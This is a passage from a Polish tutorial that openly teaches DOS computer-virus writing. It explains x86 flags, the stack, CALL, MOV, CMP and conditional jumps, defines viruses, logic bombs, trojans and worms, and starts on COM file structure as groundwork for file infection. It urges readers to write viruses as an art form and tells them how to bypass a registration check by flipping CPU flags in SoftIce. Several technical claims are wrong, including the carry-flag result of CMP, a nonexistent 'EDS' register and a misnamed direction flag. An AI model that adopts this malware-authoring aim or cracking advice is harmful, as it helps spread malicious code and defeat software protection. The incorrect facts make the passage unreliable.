  '------  VM  Virtual Mode Flag (tylko 386+)
```

- Bit 0, (**CARRY FLAG**) — Znacznik przeniesienia, ma wartość 1 jeśli dodawanie powoduje przeniesienie lub odejmowanie powoduje pożyczenie, w przeciwnym razie ma wartość 0. CF zawiera takze wartość przesunięcia lub przesuniętego cyklicznie bitu wychodzacego poza rejestr lub komórke pamieci, oddaje także wynik operacji porównania. CF działa także jako wskaźnik dla operacji mnożenia.

- Bit 2, (**PARITY FLAG**) — Znacznik parzystości — ma wartość 1 gdy wynik operacji ma parzystą ilość bitów o wartości 1, w przeciwnym wypadku znacznik przyjmuje wartość 0. PF jest głównie używany przy przesyłaniu danych.

- Bit 4, (**AUXILIARY CARRY FLAG**) — znacznik przeniesienia pomocniczego — ma podobne znaczenie jak CF, ale pokazuje przeniesienie lub pożyczkę od bitu 3 w góre. AF jest użyteczny przy działaniach na "spakowanych" liczbach dziesiętnych.

- Bit 6, (**ZERO FLAG**) — znacznik zera — ma wartość 1 gdy wynik operacji jest zerem, wynik rożny od zera ustawia na 0

- Bit 7, (**SIGN FLAG**) — znacznik znaku — ma znaczenie tylko podczas operacji na liczbach ze znakiem, SF przyjmuje wartość 1 jeśli wynikiem operacji arytmetycznych, logicznych, przesunięć jest wartość ujemna, w przeciwnym wypadku przyjmuje wartość 0. Inaczej mowiąc SF pokazuje najbardziej znaczący bit (bit znaku) wyniku, niezależnie czy wynik jest 8 czy 16-bitowy

- Bit 8, (**TRAP FLAG**) — znacznik pracy krokowej — ustawia procesor w trybie pracy krokowej, w celu uruchomienia programu po debugerem.

- Bit 9, (**INTERRUPT FLAG**) — znacznik zezwolenia na przerwanie — zezwala procesorowi rozpoznać zadanie obsługi przerwań pochodzące od zewnętrznych urządzeń systemu. Wyzerownie IF powoduje, że procesor ignoruje przerwania.

- Bit 10, (**DIRECTORY FLAG**) — znacznik kierunku — wymusza zmniejszenie (DF=1) lub zwiekszenie (DF=0) rejestrów indeksowych po wykonaniu instrukcji operujących na łancuchach. Jeśli DF =0 to procesor przetwarza łańcuchy w kierunku rosnących adresów (od strony lewej do prawej) a jak 1 to w kierunku odwrotnym.

- Bit 11, (**OVERFLOW FLAG**) — znacznik nadmiaru — jest głównie wskaźnikiem błędu podczas operacji na liczbaczh ze znakiem. OF=1 jeśli dodanie dwóch liczb z jednakowym znakiem lub odjęcie dwóch liczb z rożnymi znakami daje wynik nie mieszczący się w argumencie wykonanej instrukcji, w przeciwnym przypadku znacznik jest 0. OF ma także wartość 1 gdy najbardziej znaczący bit (bit znaku) argumentu zostanie zmieniony przez przesunięcie podczas operacji arytmetycznej, w przeciwnym przypadku jest 0. Znacznik OF, razem ze znacznikiem CF, wskazuje także dlugość wyniku mnożenia. Jeśli bardziej znacząca czesc iloczynu jest różna od zera to OF i CF są równe 1, jeżeli jest inaczej to oba znaczniki są równe 0. OF także przyjmuje wartość 1 gdy operacja z dzielenia daje iloraz przekraczający rejestr przeznaczenia.

4.1.5 Stos

Stos (ang. *stack*) jest miejscem przechowywania danych takich jak rejestry lub zawartości komórek pamięci. Mamy dwie instrukcje PUSH, która przesyła dane na szczyt stosu i POP, która pobiera dane ze szczytu stosu. Stos jest stertą na której układane są dane, każda dana układana jest na szczyt a poprzednia dana schodzi na dalsza pozycję. Czyli istotna jest kolejność kladzenia danych na stos, gdyż w takiej samej(a dokladnie odwrotnej) kolejności musimy pobierać dane ze stosu:

```
PUSH EAX ; kladzie na szczyt stosu EAX
PUSH EBX ; kladzie na szczyt stosu EBX a EAX
         ;  schodzi na dalsza pozycje

....instrukcje

POP EBX ; pobiera ze szczytu dana ktora jest
        ; EBX (a na szczycie zostaje EAX)
POP EAX ; pobiera ze szczytu stosu EAX
```

Acha jeszcze jedno, na szczyt stosu wskazuje tzw. wskaźnik stosu SP (Stack Pointer) a instrukcje PUSH i POP zwiekszają i zmniejszają ten wskaźnik. Rejestr ten nigdy nie jest ustawiany bo procesor to robi automatycznie i zawsze wskazuje adres szczytu stosu (szczytowego słowa). Patrząc ogólnie na pamięć komputera, każda część programu może utworzyć swoją dowolną przestrzeń stosu. Programista powinien tak przydzielić pamieć aby stos nie pokrywał się przypadkiem z innymi obszarami pamięci.

4.1.6 CALL i RET — wywołanie funkcji i procedur

CALL *adres* — wywołuje funkcje o podanym adresie i wykonuje ją aż do powrotu (RET).

```
instrukcje...
CALL 040ABCCC
Mov eax,edx
instrukcje...
```

Wywołanie CALL wywoła funkcje o adrsie 040ABCCC i po powrocie z niej (RET) program bedzie kontynuował dalej MOV eax,edx itd. Jak to się dzieje, że program wie gdzie ma wrócić? Ano CALL kladzie adres kodu na stosie, natomiast RET pobiera ten adres i wraca tam gdzie potrzeba.

Jezeli CALL wywołuje jakieś funkcje, to argumenty takiej funkcji kładziemy na stosie przed wywolaniem CALL. Przykład takiego działania:

```
MOV EDI,[ESP+00000220] ; Zapisuje uchwyt okienka dialogowego w EDI
PUSH 00000100          ; Maksymalny rozmiar tekstu na stos
PUSH 00406130          ; Adres bufora dla tekstu na stos
PUSH 00000405          ; Identyfikator na stos
PUSH EDI               ; Uchwyt okienka dialogowego na stos
CALL GetWindowText     ; Wywolanie funkcji o parametrach
                       ; zapisanych na stosie.
```

Widzimy więc, że przy jakichś ciekawych wywołaniach funkcji warto zastanowić się jakie parametry kładzione są na stosie i ogólnie warto sie zorientować jakich parametrow dana funkcja wymaga.

4.1.7 MOV — instrukcja przeniesienia

To najczęściej spotykana instrukcja umożliwiająca przenoszenie danych pomiędzy rejestrem a komórka lub pomiędzy rejestrami lub kopiowania stałej wartości do rejestru lub komórki. Ogólna postać to MOV przeznaczenie, zródlo i nie powinno nikomu sprawić kłopotu jej zrozumienie.

Przyklady:

```
MOV EDS, EAX   ; przeniesienie między dwoma rejestrami 32-bitowymi
MOV CL, 39     ; przeniesienie stalej do rejestru
MOV ES:[BX],AX ; zmiana przypisania segmentu
```

Kilka uwag:

1. Nie można bezpośrednio przenieść danych pomiędzy komórkami pamięci. Musimy najpierw przenieść dane do rejestru ogólnego przeznaczenia a później z rejestru do przeznaczenia w pamieci. Przykład, mamy dwie zmienne w pamieci np. TYLEK i ZADEK i aby przenies wartosc z jednej do drugiej to:

   ```
   MOV AX,TYLEK
   MOV ZADEK,AX
   ```

2. Nie można załadować bezpośrednio stałej do rejestru segmentu, musimy ją przenieść przez rejestr ogólnego przeznaczenia:

   ```
   MOV AX, ADRES_DS
   MOV DS, AX
   ```

3. Podobnie nie możemy przenieść bezpośrednio zawartości jednego rejestru segmentu do drugiego, podobnie musimy przez rejestr ogólnego przeznaczenia:

   ```
   MOV AX, ES
   MOV DS, AX
   ```

4. Nie można użyć rejestru CS jako argumentu przeznaczenia w instrukcji MOV.

Widzicie więc jakie kombinacje należy wykonywać z danymi i dlaczego aż tak dużo instrukcji MOV mamy w kodzie programu.

4.1.8 CMP i skoki warunkowe

Bardzo ważną instrukcją jest CMP (ang. *compare*), która decyduje o działaniu programu, pętlach, skokach, wywołaniach podprogramów itp. Instrukcaja CMP działa na zasadzie odejmowania źródła od przeznaczenia i sprawdzaniu otrzymanego wyniku. Głównym celem działania tej instrukcji jest ustawienie rejestrów w zależności od otrzymanego wynniku. W przypadku operacji na argumentach bez znaku ustawiane sa dwie flagi — zerowa ZF i przeniesienia CF, natomiast przy operacjach na argumentach ze znakiem dodatkowo jeszcze — nadmiaru OF i znaku SF

Przykład:

```
CMP AX,BX ; jezeli AX = BX to ZF=1 i CF=0
          ; gdy AX > BX to ZF=0 i CF=1
          ; gdy AX < BX to ZF i CF=0
```

Na podstawie spełnianych warunków, czyli ustawieniu poszczególnych flag mogą nastapić skoki warunkowe w kodzie. Najczęściej spotykany JZ — skok jeżeli ustawiona flaga Z czyli np. w przypadku porównania czy AX=BX i jeżeli tak to skok.

Podobna instrukcja jest TEST, która dla odmiany przeprowadza operacje logiczna na bajtach — AND ale nie zapamiętuje wyniku a jedynie na jego podstawie ustawia odpowiednio flagi.

Przyklad:

```
          CALL procedura ; skok do etykiety procedura
          TEST AX,AX
          JZ adres2      ; Jezeli AX=0 to skocz do adres2

          MOV AH, 4CH
          MOV AL, 00H
          INT 21H        ; W tym miejscu program się zakończy

procedura: MOV AX,1
           CMP  Wpisany_kod, Dobry_kod
           JE dobrywpis
           RET               ; powrót

dobrywpis:
           XOR AX,AX         ; AX = 0
           RET               ; powrót
```

Procedura CALL wywołuje np. procedurę sprawdzania poprawnosci danych rejestracyjnych i w przypadku pomyslnym zapisuje do AX wartosci logiczna 0 (np. przez XOR AX,AX) a jeżeli złe to zapisuje 1. Teraz instrukcja TEST AX,AX wykonuje operację logiczną na AX czyli AX and AX, jeżeli było (0 to 0) AND 0 da nam 0 i flaga zerowa Z zostaje ustawiona na 1. Teraz instrukcja skoku warunkowego sprawdza czy flaga zerowa Z=1 i robi skok. Natomiast gdy by bylo (1 AND 1) to flaga Z=0 i skok nie nastąpi.

A procedurka to wiadomo, na poczatku wpisujemy wartosc logiczną 1 do AX (czyli zły kod) a pozniej sprawdzamy jaki faktycznie jest wpisany kod, jeżeli poprawny to skok i operacja (1 XOR 1) co da nam 0 w AX i powrót, a jak zły to niech pozostanie 1 i powrót.

Należy pamiętać, że instrukcje CMP i TEST wykonują operacje na argumentach, których wykonanie ustawia kilka odpowiednich flag w zależności od wielkosci argumentów, znaku, przeniesienia

itp. Dlatego też możemy wykonać odpowiednie skoki nie tylko przy warunku A=B ale też w zależności czy mniejsze, większe, ze znakiem itp.

W tabeli 4.3 wymieniono wszystkie skoki. ∗ zostały oznaczone te, które są szczególnie ważne dla arytmetyki liczb ze znakiem (uzuplnienie do dwóch).

Instrukcja	Opis	Skok jeśli...
JA	skok gdy powyżej	CF=0 i ZF=0
JAE	skok gdy powyżej lub równy	CF=0
JB	skok gdy poniżej	CF=1
JBE	skok gdy poniżej lub równy	CF=1 lub ZF=1
JC	skok gdy przeniesienie	CF=1
JCXZ	skok gdy CX=0	CX=0
JE	skok gdy jest równy	ZF=1
JG	skok gdy większy ∗	ZF=0 i SF=OF
JGE	skok gdy większy lub rowny ∗	SF=OF
JL	skok gdy mniejszy	SF != OF
JLE	skok gdy mniejszy lub równy ∗	ZF=1 lub SF!=OF
JMP	skok bezwarunkowy	bez warunku
JNA	skok gdy nie powyżej	CF=1 lub ZF=1
JNAE	skok gdy nie powyżej ani równy	CF=1
JNB	skok gdy nie poniżej	CF=0
JNBE	skok gdy nie poniżej ani równy	CF=0 i ZF=0
JNC	skok gdy nie ma przeniesienia	CF=0
JNE	skok gdy nie równy	ZF=0
JNG	skok gdy nie większy	ZF=1 lub SF!=OF
JNGE	skok gdy nie większy ani równy ∗	SF!=OF
JNL	skok gdy nie mniejszy ∗	SF=OF
JNLE	skok gdy nie mniejszy ani równy ∗	ZF=0 i SF=OF
JNO	skok gdy niema przepełnienia ∗	OF=0
JNP	skok gdy nie parzystosc	PF=0
JNS	skok gdy brak znaku ∗	SF=0
JNZ	skok gdy różne od zera	ZF=0
JO	skok gdy jest przepełnienie ∗	OF=1
JP	skok gdy parzystość	PF=1
JPE	skok gdy parzystość parzysta :-)	PF=1
JPO	skok gdy parzystość nieparzysta	PF=0
JS	skok gdy jest znak ∗	SF=1
JZ	skok gdy jest zero	ZF=1

Tabela 4.3: Skoki

Np. skok JA (skok gdy powyżej) wykonany jest gdy flagi CF=0 i ZF=0 i wykonuje skok gdy przeznaczenie jest większe od źrodlo (bo to wynikło z operacji porównania i takiego ustawienia flag). Od razu zaznaczam, że analizujac kod pod SoftIce aby zmienic skok np. musimy nie tylko zmienic flagę Z ale i C (czyli np. r fl z; r fl c). To samo tyczy sie innych skokow warunkowych i zapraszam do tabeli specyfikacji skoków warunkowych.

4.1.9 TEST EAX,EAX — co to znaczy ?

Powyższa linia kodu wydaje sie niezrozumiała. Należy jednak zastanowić się co robi dokładnie. Instrukcja TEST wykonuje operacje AND na dwóch argumentach i w oparciu o ten wynik ustawiane są odpowiednie flagi.

Należało by więc przeanalizować czym jest operacja mnożenia logicznego AND. Działa ona na argumentach rozmiaru bajt lub slowo (ale nie na ich zwykłej postaci a postaci binarnej, bo działa dokładnie na bitach tych liczb).

Z matematyki wiemy ze 0 AND 0 = 0 ; 0 AND 1 =0 i 1 AND 0 = 0 a 1 AND 1 = 1 a więc operacja daje wynik jeden wtedy i tylko wtedy gdy oba bity równe są jeden.

Weźmy teraz TEST EAX, EAX. Załózmy ze EAX=0 czyli 00000000 AND 00000000 = 00000000 czyli na każdej pozycji będzie 0 i wtedy ustawiana jest flaga zerowa Z. Natomiast przy każdej innej wartości np. 00000011 AND 00000011 da nam 00000011 i wtedy jeżeli gdziekolwiek na dowolnej pozycji wystapia w obu argumentach 1 to flaga Z nie jest ustawiana.

Daje nam to możliwość sprawdzenia czy np. EAX jest 0 czy jakąś inna wartością, gdyż tylko porównanie dwóch TYCH SAMYCH liczb o wartosci 0 da nam 0 i ustawi flagę. Operacja AND na każdych dwóch TAKICH SAMYCH rożnych od zera nie ustawi flagi zerowej bo zawsze gdzies bedzie 1 w bitach.

Dlatego też w programach czesto spotykane instrukcje TEST EAX,EAX a poźniej *JZ adres* mają całkiem logiczne znaczenie bo skok nastąpi tylko w przypadku EAX=0. Nie należy więc sugerować sie domyślnym znaczeniem instrukcji prownania EAX z EAX.

Na razie by było na tyle. Postaram sie to rozbudowac w przyszłosci. Niech bity i mocz będą z Wami!

Rozdział 5

Tańcząc z bajtami

5.1 Co to jest wirus komputerowy?

Każdy się chyba zgodzi, że wirusy są jednym z najpiekniejszych i najbardziej tajemniczych tworów w świecie komputerów. Dużo się dziś słyszy o wirusach. Po światku komputerowym krąży wiele legend i mitów, często nieprawdziwych i przesadzonych. Czym tak właściwie jest wirus komputerowy? Przy dzisiejszej liczbie wirusów, ich różnorodności i pomysłowości technik stosowanych przez autorów trudno jest ściśle odpowiedzieć na to pytanie. Krótko mówiąc; wirus jest to program taki sam jak gra, czy aplikacja użytkowa. Program ten ma jednak inne zadania. Jakie? To zależy już tylko od inwencji i kunsztu autora. Wiele osób uważa, że wirus przede wszystkim musi coś niszczyć lub płatać jakiegoś złośliwego figla. To prawda, że wiele wirusów zawiera w sobie takie czy inne funkcje destrukcyjne, ale nie są one bynajmniej ich głównym elementem, a wręcz przeciwnie. Funkcje destrukcyjne to ostatnie pociągnięcia pędzla artysty. Głównym elementem każdego wirusa są funkcje odpowiedzialne za jego rozmnażanie i ekspansję w systemie, bądź sieci. I to jest własnie to, co wyróżnia je wśród innych programów komputerowych: umiejętność rozmnażania i samoistnego przenoszenia się z komputera na komputer. Jeżeli program spełnia te kryterium można śmiało nazwać go wirusem. Wiele osób do wspólnego wora z etykietą WIRUSY wrzuca również inne programy ingerujące bez wiedzy użytkownika w działanie systemu:

wirus jest to krótki program pisany najczęściej w jezyku niskiego poziomu mający zdolność samopowielania po uruchomieniu. Wirusy do swojej egzystencji potrzebują programu nosiciela, do którego doczepiają się odpowiednio go modyfikując. Po uruchomieniu takiego programu najpierw uruchamia się wirus, a dopiero po zakończeniu jego działania sterowanie zostaje zwrócone do programu ofiary, który wykonuje swoje normalne funkcje. Zwykły użytkownik zwykle nic nie zauważa.

bomba logiczna o ile wirusy są pisane przez bardzo doświadczonych programistów, o tyle bomby logiczne są pisane zwykle przez osoby, które pierwszy raz dorwały się do funkcji systemowych (odczyt, zapis do pliku, usuwanie pliku itp.) i bardzo chciałyby do czegoś wykorzystać swoje nowe umiejętności. Piszą, więc program np. w Pascalu który po uruchomieniu usuwa z dysku np. plik io.sys co uniemożliwia start systemu. Taka bomba ląduje często u kolegów, albo w szkole z podpisem jakiejś znanej gry. Bomby logiczne mają często zapalnik czasowy np. działają tylko między 14, a 15 w poniedziałek.

konie trojańskie konie trojańskie są głównie używane w celu zdobywania miast względnie komputerów. Celem wirusa jest zarażenie jak największej liczby komputerów. Koń trojański może zostać napisany z myślą o tylko jednym systemie. Jakie są zadania konia trojańskiego? To również

zależy w znacznej mierze od inwencji autora i zastosowania. Np. koniem trojańskim nazwiemy program, który po uruchomieniu na komputerze ofiary wyśle nam pliki z jego hasłami lub wykona inną czynność ułatwiającą nam włamanie do systemu. Konie trojańskie oparte są na podstępie. Często udają gry, spakowane zdjęcia itp.

robaki robak to program, którego działanie podobnie jak działanie wirusa polega na kopiowaniu samego siebie. Różnica polega na tym, ze robak nie potrzebuje innego programu, pod który mógłby się podczepić. Robaki są najbardziej popularne w siaciach, gdyż mają tam dostęp do protokołów transmisji plików, dzięki czemu mogą się rozmnażać.

Jak wspomniałem już wcześniej powyższy podział nie jest ścisły. Przy dzisiejszym rozwoju sieci zaciera się różnica między poszczególnymi typami wrednych programów. Większość wirusów ma dzisiaj zarówno cechy robaka(przenoszenie się siecią), wirusa(infekcja plików), bomby logicznej(destrukcja), czy konia trojańskiego (wysyłanie haseł, dokumentów *.doc itp.).

5.2 Epitafium dla DOSu

Już słyszę ten głos: Człowieku, czyś ty zgłupiał? Po co napisałeś książkę przeterminowaną o dziesięć lat!

W pewnym sensie gość ma rację. DOS umarł i nikt chyba nie jest z tego powodu zadowolony. Po co więc uczyć się pisać wirusy, które i tak nie będą mogły rozmnażać się we współczesnym świecie? Musisz wiedzieć, że techniki pisania wirusów przy przejściu z DOS do Windows nie zmieniły się aż tak bardzo. Postaram Cię, przekonać, że warto przeczytać pierwszy tom mojej pracy:

1. Wirusy pisze się w Assemblerze, zarówno te DOSowe jak i te pod Windows. Książka ta poprawi przede wszystkim Twoją znajomość Assemblera, co da Ci większe możliwości przy wirusach dla platformy Windows.

2. W książce są opisane techniki, które wykorzystują również nowe wirusy np. szyfrowanie, polimorfizm.

3. Wirusy DOSowe są prostsze. Łatwiej na przykładzie starych wirusów wyjaśnić pewne techniki stosowane przez mikroby.

4. Potraktuj pisanie wirusów jak sztukę dla sztuki. Robię to bo to kocham, a nie dlatego, że mam jakąś chorą żądzę destrukcji i chcę tylko niszczyć.

Myślę więc, że po zapoznaniu się z tą częścią mojej szkoły będziesz dobrze przygotowany, do pisania wirusów pod Windows. Jeżeli pisałeś(aś) już w Assemblerze i naprawdę nie chcesz uczyć się o wirusach pod DOS przeczytaj tylko rozdziały o szyfrowaniu i polimorfiźmie. Są one jak najbardziej aktualne.

5.3 Co programista wirusów wiedzieć powinien

Przy pisaniu pracy, zakładałem, że programowałeś(aś) już kiedyś i znasz przynajmniej w elementarnym stopniu Assembler. Jeśli nie, nie ma czym się martwić. Zajrzyj do spisu literatury na końcu książki i zakup jakiś podręcznik do nauki Assemblera. Jeżeli poznasz Assembler w stopniu elementarnym jesteś już gotowy(a) do lektury, ponieważ wszystkie trudniejsze miejsca programów są szczegółowo skomentowane, a funkcje opisane. Nie będę się jednak rozdrabniał nad takimi zagadnieniami

jak np. co robi rozkaz *jne*, czy *cmp*, gdyż byłoby to irytujące dla bardziej zaawansowanych i mijało by się z celem. Na rynku jest wiele wspaniałych podręczników do Assemblera, więc pisanie kolejnego nie ma sensu.

Wskazana jest również znajomość jakiegoś języka wyższego poziomu np. Pascal, C, C++, a najlepiej wszystkich naraz, gdyż trudne algorytmy będą najpierw przedstawione w jednym z tych języków.

Niektórzy uważają, że Assembler to bardzo trudny język. Moje motto to: Dla chętnego, nic trudnego. Osobiście uważam, że Assemblera można się jako tako nauczyć w trzy tygodnie. Pascala Czytelnik powinien znać ze szkoły.

Wskazana jest również elementarna znajomość matematyki (rozdzialy o kryptografii).

5.3.1 Wymagana znajomość Assemblera

Oto lista zagadnień, które powinnienneś(aś) znać z Assemblera, aby zrozumieć w pełni treść książki:

1. Niedziesiętne systemy liczbowe.
2. Elementarna znajomość budowy procesorów.
3. Organizacja i zarządzanie pamięcią w systemie operacyjnym DOS.
4. Szablony programów COM i EXE w Assemblerze.
5. Deklarowanie zmiennych i stałych w Assemblerze.
6. **Adresowanie pamięci — segment i offset. Podział pamięci na segmenty. Przesyłanie danych.**
7. Operacje na stosie.
8. Procedury i makroinstrukcje.
9. Operacje arytmetyczne i logiczne. Przesuwanie bitów.
10. **Skoki warunkowe i bezwarunkowe. Instrukcje porównujące.**
11. Pętle i operacje na łańcuchach - rozkazy MOVSx, STOSx, LODSx itp.
12. Informacje podstawowe o przerwaniach. Mechanizm przejmowania przerwań będzie dokładnie opisny.
13. **Operacje na plikach.**

Pogrubioną czcionką wyróżniłem tematy szczególnie ważne. Powinienneś(aś) zwrócić na nie szczególną uwagę. Dokładne zrozumienie tych tematów to klucz do krainy Assemblera.

5.3.2 Wymagana znajomość Pascala

Znajomomość Pascala nie jest konieczna, chociaż byłaby wskazana. Pascal jest łatwym językiem. Poczytaj jakąś książkę do poduszki. Zapoznaj się z podstawowymi algorytmami np. sortowanie, dynamiczne struktury danych, elementy analizy algorytmów, teoria grafów i problemy optymalizacji na grafach. Programowania i wiedzy nigdy za dużo.

5.3.3 Wymagana znajomość C i C++

W tym tomie książki nie będziemy zbyt wiele używać C++, ale każdy haker, a tym bardziej programista wirusów powinien znać ten język. Za pomocą C++ będę ilustrował wiele przykładów w II tomie mojej szkoły traktującym o wirusach dla Windows. Z C będziemy korzystać przy nauce WinAssemblera.

Zacznij się powoli uczyć tego języka, jeśli jeszcze go nie znasz.

A teraz już dość lania wody. Przejdźmy do tego, co Tygryski lubią najbardziej: KODOWANIA WIRUSÓW.

Rozdział 6

Infekcja plików COM

6.1 Drogi ekspansji wirusów w systemie operacyjnym DOS

Jak wspomniałem już wcześniej, zadaniem każdego wirusa jest rozmnażanie się. Podstawową techniką stosowaną przez wirusy jest doklejenie się do pliku innego programu. Dzieki infekcji jak największej ilości plików na danym komputerze zwiększamy szansę wirusa na przedostanie się do innego systemu. Aby zarazić nowy komputer wystarczy tylko uruchomić na nim jeden z zarażonych plików. Wirus przeszuka dysk niezainfekowanego komputera i doklei się do programów, które znajdzie.

6.2 Budowa pliku COM

Pliki COM są programami o bardzo prostej budowie, dlatego też stanowią znakomity kąsek dla programistów wirusów. Pliki COM dominowały głównie we wczesnej fazie istnienia systemu DOS.

Pliki COM wyróżnia głównie fakt, że zawirają one program w postaci absolutnej. Program COM wygląda w pamięci dokładnie tak samo jak na dysku, nie zawiera nagłówka(tak jak pliki EXE) mówiącemu systemowi operacyjnemu, jak ma załadować program do pamięci. Gdy uruchamiamy COMa DOS ładuje całą jego zawartość pod adres **CS:100h** i wykonuje skok do tego adresu(ustawia wskaźnik rozkazu IP na 100h). Program zaczyna się wykonywać aż do instrukcji zwrócenia sterowania do systemu. Cały program musi zmieścić się w jednym segmencie danych, czyli moze mieć maksimum 64KB. Wynika to z tego, że za pomocą szesnastobitowego adresu możemy najwyżej zaadresować przestrzeń od CS:0000h do CS:FFFFh, ponieważ jednak program COM zaczyna się zawsze od CS:0100h możemy odbliczyć maksymalną długość pliku COM:

$$\mathrm{FFFFh} - \mathrm{0100h} = \mathrm{FEFFh} = \mathrm{65279d}$$

Przyjrzyjmy się teraz ogólnej budowie pliku COM. Będziemy używać kompilatora TASM. Jeżeli go nie posiadasz sciągnij z internetu. Jest ogólnie dostępny.

```
; HELLO.ASM
;
; Program wyświetla tekst na ekranie.
;
; Kompilacja:   TASM   (z opcją 'la' - tworzy listing programu)
; Konsolidacja: TLINK   (z opcją 't'   - tworzy program'*.com')

segment_kodu SEGMENT      ; początek segmentu programu
```

```
ASSUME cs:nothing, ds:nothing, es:nothing, ss:nothing
; ASSUME - jest dyrektywą kompilatora, a nie instrukcją
; procesora. Mówi ona kompilatorowi żeby automatycznie
; uzupełniał nazwy segmentów przy adresowaniu.
; Moim zdaniem należy pisać długie postacie adresów.
; Uniknie się w ten sposób wielu błędów.
;
; lea dx, hello      <- krótka postać adresu
; lea dx, cs:[hello] <- długa postać adresu
;
; Z długiej postaci możemu od razu odczytać o jaki segment
; nam chodzi.

ORG 0100h
; ORG - jest również dyrektywą kompilatora. Mówi ona kompilatorowi
; pod jakim adresem w pamięci powinna się znajdować następująca po niej
; instrukcja. Ponieważ chcemy skompilować program do COM ustawiamy tę
; dyrektywę na 0100h. Instrukcja 'push cs' po załadowaniu
; programu do pamięci powinna znaleźć się dokładnie pod adresem
; CS:0100h
start:
push  cs              ; cs := ds
pop   ds

mov   ah, 09h         ; wyświetl łańcuch znaków - funkcja DOS
lea   dx, ds:[hello]  ; załaduj offset łańcucha do dx
int   21h             ; wykonaj

mov   ah, 4Ch         ; zakończ program - funkcja DOS
mov   al, 00h
int   21h

dane:
hello db 'I love viruses!!!', 13, 10, '$'  ; tekst do wyświetlenia

; Pamiętaj, że tekst musi być zakończony znakiem '$'.
; Gdy DOS napotka ten znak w pamięci przestaje pisać.
; Spróbuj usunąć znak $ i uruchomić program ...


segment_kodu ENDS
end start   ; od tej etykiety program zacznie się wykonywać
```

W powyższym programie nie powinno być chyba nic niejasnego. Jeśli jest to znak, że Czytelnik powinien powtórzyć sobie wiadomości z programowania w Assemblerze, gdyż tego języka będziemy głównie używać. Spójrzmy na wygenerowany przez TASM listing. Listing jest to kod źródłowy programu jednak z dokładniejszym zapisem instrukcji. Instrukcje po lewej stronie są zapisane w postaći kodu maszynowego. To właśnie ten kod jest zrozumiały dla komputera.

```
; Plik HELLO.lst

Turbo Assembler  Version 5.0     02-14-02 05:00:50     Page 1
vir\hello.ASM

 8
 9 0000      segment_kodu SEGMENT
10 ASSUME cs:nothing, ds:nothing, es:nothing, ss:nothing
; wyciąłem linijki kodu zawierające komentarze
; offset ; kod maszynowy rozkazu
30 0100      start:
31 0100  0E      push  cs
32 0101  1F      pop   ds
33
34 0102  B4 09      mov   ah, 09h
35 0104  BA 010Fr                   lea   dx, ds:[hello]
36 0107  CD 21      int   21h
37
38 0109  B4 4C      mov   ah, 4Ch
39 010B  B0 00      mov   al, 00h
40 010D  CD 21      int   21h
41
42 010F      dane:
43 010F  49 20 6C 6F 76 65 20+     hello db 'I love viruses!', 13, 10, '
44       76 69 72 75 73 65 73+
45       21 21 21 0D 0A 24
46
;puste
51
52 0123      segment_kodu ENDS
53      end start
```

Listingi są bardzo ważne. Dzięki nim możemy zobaczyć jak naprawdę wygląda program. A jak naprawdę wygląda? Otwórz program przy pomocy debuggera lub hexeditora. Prześledź jego działanie. Zwróć uwagę na kody maszynowe instrukcji. Pamiętaj: Debugger to podstawowe narzędzie programisty wirusów. Dobrym debuggerem jest Turbo Debugger('td'). Powinien być dołączony do Twojego TASMA.

Plik 'hello.com' po skompilowaniu jest ciągiem kilknastu bajtów. Niektóre z tych bajtów to rozkazy, a niektóre to dane. Program TASM tłumaczy to, co wpisujesz do pliku 'hello.asm' na postać zrozumiałą dla procesora. Np. rozkaz 'push cs' ma jednobajtowy kod maszynowy '0Eh'. rozkaz 'mov ah' ma również jednobajtowy kod — '0B4h'. To co znajduje się za nim to wartość, która ma zostać załadowana do rejestru 'ah', stąd kod całej instrukcji ma postać: 'B4 09'.

Następny rozkaz to 'lea dx, ds:[hello]'. Zastanówmy sie jak zakodować tę instrukcje maszynowo. Jak widać z listingu ma ona postać: 'BA 01 0F'. Co ona oznaczają? Co ta instrukcja lea właściwie robi? Jeżeli wykonałeś ostatnie ćwiczenie i uruchomiłeś nasz program 'hello.com' pod Turbo Debuggerem to na pewno zauważyłeś, że TD zdisassemblował ciąg trzech bajtów odpowiadających instrukcji 'lea dx, ds:[hello]' jako instrukcję 'mov dx, 010Fh'. Dlaczego tak się stało? Zadaniem instrukcji 'lea' jest załadowanie adresu początku ciągu znaków do wypisania. Dzięki temu funkcja DOS — 09h będzie

wiedziała skąd ma ten tekst wypisać. W naszym przypadku nasz tekst zaczyna się od adresu 010Fh. Zadaniem instrukcji lea jest załadowanie właśnie tego adresu. Ponieważ w tym wypadku instrukcja 'lea' robi dokładnie to samo co 'mov dx, offset hello' więc kompilator wstawia w miejsce 'lea' rozkaz 'mov'. Zauważ jedna BARDZO ważną rzecz. **Zarówno rozkaz 'lea dx, ds:[hello]' jak i 'mov dx, offset hello' nie liczą adresu łańcucha 'hello' dynamicznie. Kompilator w chwili natrafienia na rozkaz 'mov dx, offset hello' odlicza offset łańcucha 'hello' w programie i wstawia w to miejsce stałą, w naszym wypadku 010Fh.** Dlaczego to jest takie ważne? Ano wyobraźmy sobie, że po skompilowaniu programu dopiszemy przed łańcuchem 'I love viruses!' ciąg 0F0h dowolnych bajtów. Wtedy nasz łańcuch do wyświetlenia będzie znajdował się pod adresem 01FFh, ale w rejestrze dx znajdzie się wartość 010Fh. Funkcja DOS zacznie wypisywać te 0F0h bajtów zamiast naszego tekstu. Offsety nie będą się zgadzały. Do tego zagadnienia wrócimy przy opisie sposobu infekcji pliku COM przez rozkaz 'E9 xxxx'.

Jest jeszcze jedna kwestia. Skąd procesor wie czy bajt, który wykonuje jest rozkazem czy daną? Ano nie wie tego wcale. Jeżeli procesor zacznie wykonywać dane najprawdopodobniej się zawiesi, gdyż po jakimś czasie natrafi na np. literę, która nie jest kodem rozkazu. Spróbuj teraz z końca naszego programu 'hello.asm' usunąć trzy ostatnie linijki kończące działanie programu. Co się wtedy satnie? Program natrafi na ciąg: 'I love viruses!' i zacznie go wykonywać, jakby był on dalszą częścią programu. W najlepszym wypadku grozi zawieszenie komputera. Jaki ten Assembler piekny, prawda? Przy kodowaniu w C, czy Pascalu nigdy nie wpadniemy w taką pułapkę. Kodowanie w Assemblerze jest swego rodzaju sztuką.

6.3 Budowa pliku COM w pamięci

Wiemy już, że program COM jest ładowany przez DOS pod adres CS:0100h. A po co tak dziwnie? Żeby utrudnić koderom wirusów życie? Co znajduję się w tej niezbadanej przestrzeni między adresem CS:0000h, a adresem CS:0100h po załadowaniu pliku COM do pamięci?

6.3.1 Blok wstępny programu (PSP)

